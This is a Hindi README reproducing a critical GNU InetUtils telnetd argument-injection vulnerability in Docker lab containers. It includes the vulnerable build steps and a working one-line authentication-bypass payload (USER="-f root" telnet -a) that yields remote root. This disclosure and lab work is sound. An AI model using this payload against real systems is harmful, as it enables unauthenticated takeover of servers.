
GNU InetUtils telnetd में कमजोरी दूरस्थ रूट एक्सेस सक्षम करती है
GNU InetUtils telnetd में हाल ही में पहचानी गई एक आर्गुमेंट इंजेक्शन भेद्यता हमलावरों को USER पर्यावरण चर को "-f root" मान पर सेट करके प्रमाणीकरण को दरकिनार करने की अनुमति देती है। परिणामस्वरूप, एक दूरस्थ अनप्रमाणित हमलावर कमजोर telnetd सेवा चलाने वाले सिस्टम तक पहुंच प्राप्त कर सकता है और root तक विशेषाधिकार बढ़ा सकता है। यदि सफलतापूर्वक शोषण किया जाता है, तो यह दोष हमलावरों को संवेदनशील जानकारी तक पहुंचने, सिस्टम सेटिंग्स बदलने और मनमाने कमांड चलाने में सक्षम बना सकता है, जिसके परिणामस्वरूप पूर्ण सिस्टम समझौता हो सकता है।
| CVSS विवरण | CNA (MITRE) |
|---|---|
| आधार स्कोर | 9.8 |
| वेक्टर | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| हमला वेक्टर | नेटवर्क |
| हमला जटिलता | कम |
| आवश्यक विशेषाधिकार | कोई नहीं |
| उपयोगकर्ता सहभागिता | कोई नहीं |
| दायरा | अपरिवर्तित |
| गोपनीयता प्रभाव | उच्च |
| अखंडता प्रभाव | उच्च |
| उपलब्धता प्रभाव | उच्च |
| CVSSv3 संस्करण | 3.1 |
हम 2015 के नीचे दिए गए कमिट तक पहुंचने में सक्षम थे, जो कोड परिवर्तन (पंक्ति 62) दिखाता है जिसने यह भेद्यता पैदा की।
इस readme का उद्देश्य केवल शोषण के निष्पादन को दिखाना है, हर उस चरण को नहीं जिसने यह CVE उत्पन्न किया, हालांकि, इरादा %U प्लेसहोल्डर को USER पर्यावरण चर से लिए गए मान से बदलना है। यह विशेष पर्यावरण चर उपयोगकर्ता-नियंत्रित है और Telnet प्रोटोकॉल के माध्यम से हेरफेर किया जा सकता है 🔥।
इस परीक्षण के लिए, मैंने Docker Hub से छवियों का उपयोग करके 2 कंटेनर बनाए, जिनमें InetUtils का एक कमजोर संस्करण था।
docker run --rm -it --name vuln -p 23:23 ubuntu:22.04 bash
apt update
apt install build-essential wget tar
wget http://ftp.gnu.org/gnu/inetutils/inetutils-2.5.tar.gz
tar -xvzf inetutils-2.5.tar.gz
cd inetutils-2.5
./configure
./configure --enable-telnet
make clean
make
make install
export PATH=$PATH:/usr/local/libexec
apt install openbsd-inetd
echo "telnet stream tcp nowait root /usr/local/libexec/telnetd telnetd" >> /etc/inetd.conf
service openbsd-inetd restart
docker run --rm -it --name attacker ubuntu bash
apt install telnet
नीचे दिए गए पेलोड के साथ, हम USER चर को बदलते हैं और प्रमाणीकरण प्रणाली को बायपास करते हैं।
USER="-f root" telnet -a 172.17.0.3
अपना inetutils संस्करण जांचें
hostname --version
telnetd --version
अगली बार मिलते हैं :wink: